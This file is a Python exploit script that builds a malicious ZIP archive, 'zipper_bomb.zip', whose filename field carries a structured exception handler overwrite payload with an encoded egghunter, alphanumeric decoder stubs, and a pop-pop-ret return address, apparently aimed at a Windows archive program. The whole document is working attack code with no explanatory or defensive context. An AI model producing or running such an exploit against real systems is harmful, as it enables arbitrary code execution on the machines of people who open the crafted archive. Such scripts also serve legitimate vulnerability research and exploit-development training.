#!/usr/bin/env python

from os import remove
from struct import pack

filename = "zipper_bomb.zip"
payload_ext = ".txt"
nseh_offset = 1022
as_offset = 899
bs_offset = 123
max_size = 4068
ldf_header = (
    "\x50\x4B\x03\x04\x14\x00\x00"
    "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\xe4\x0f"  # file size
    "\x00\x00\x00"
)

cdf_header = (
    "\x50\x4B\x01\x02\x14\x00\x14"
    "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\xe4\x0f"  # file size
    "\x00\x00\x00\x00\x00\x00\x01\x00"
    "\x24\x00\x00\x00\x00\x00\x00\x00"
)

eofcdf_header = (
    "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
    "\x12\x10\x00\x00"  # Size of central directory (bytes)
    "\x02\x10\x00\x00"  # Offset of start of central directory,
    # relative to start of archive
    "\x00\x00"
)

#bytear = ("xxxxxxxxxxxxxxxxx\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f")
encoded_egghunter = "WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI0fNazj9oTOCrsb3Zc2BxHMFN7LUUbz1dJOH8agP0Dpd4nkJZLorUYznOD5KW9oIwAA"
encoded_edi = "\x2D\x30\x58\x4E\x55"     #SUB EAX, 554E5830
encoded_edi += "\x2D\x30\x58\x4E\x55"     #SUB EAX, 554E5830
encoded_edi += "\x2D\x30\x5A\x50\x55"     #SUB EAX, 55505A30
encoded_edi += "\x50"     #PUSH EAX
encoded_edi += "\x5F\x54\x58"     #POP EDI

decode_stack  = "\x2d\x60\x52\x55\x55"
decode_stack += "\x2d\x60\x52\x55\x55"
decode_stack += "\x2d\x60\x52\x55\x55"
decode_stack += "\x50"
decode_stack += "\x50"


jmp_edi = "\x25\x4a\x4d\x4e\x55" # AND EAX,0x554E4D4A
jmp_edi += "\x25\x35\x32\x31\x2a" # AND EAX,0x2A313235
jmp_edi += "\x2d\x25\x25\x55\x5d" # SUB EAX,0x5d552525
jmp_edi += "\x2d\x25\x25\x55\x5d" # SUB EAX,0x5d552525
jmp_edi += "\x2d\x26\x25\x56\x5d" # SUB EAX,0x5d562526
jmp_edi += "\x50"


payload  = "Z" * 103
payload += encoded_egghunter
payload += "Z" * (as_offset - len(payload))
print "Size of payload: " + str(len(payload))
payload += "BBBB"
payload += encoded_edi
payload += decode_stack
payload += jmp_edi
payload += "B" * (119-len(encoded_edi) - len(jmp_edi) -len(decode_stack))
print "Size of payload: " + str(len(payload))
payload += "\x71\x9F\x70\x9F"
payload += pack("<L", 0x00451845)
payload += "D" * (max_size - len(payload) - len(payload_ext))

payload = payload + payload_ext
payload_len = len(payload)

print("[*] Size : {length} bytes".format(length=payload_len))
print("[*] Removing old {filename} file".format(filename=filename))
try:
    remove(filename)
except OSError:
    print("[!] Couldn't remove, probably doesn't exist. Ignoring this error")
    pass
print("[*] Creating new {filename} file".format(filename=filename))
with open(filename, "w") as f:
    file_content = ldf_header + payload + cdf_header + payload + eofcdf_header
    f.write(file_content)

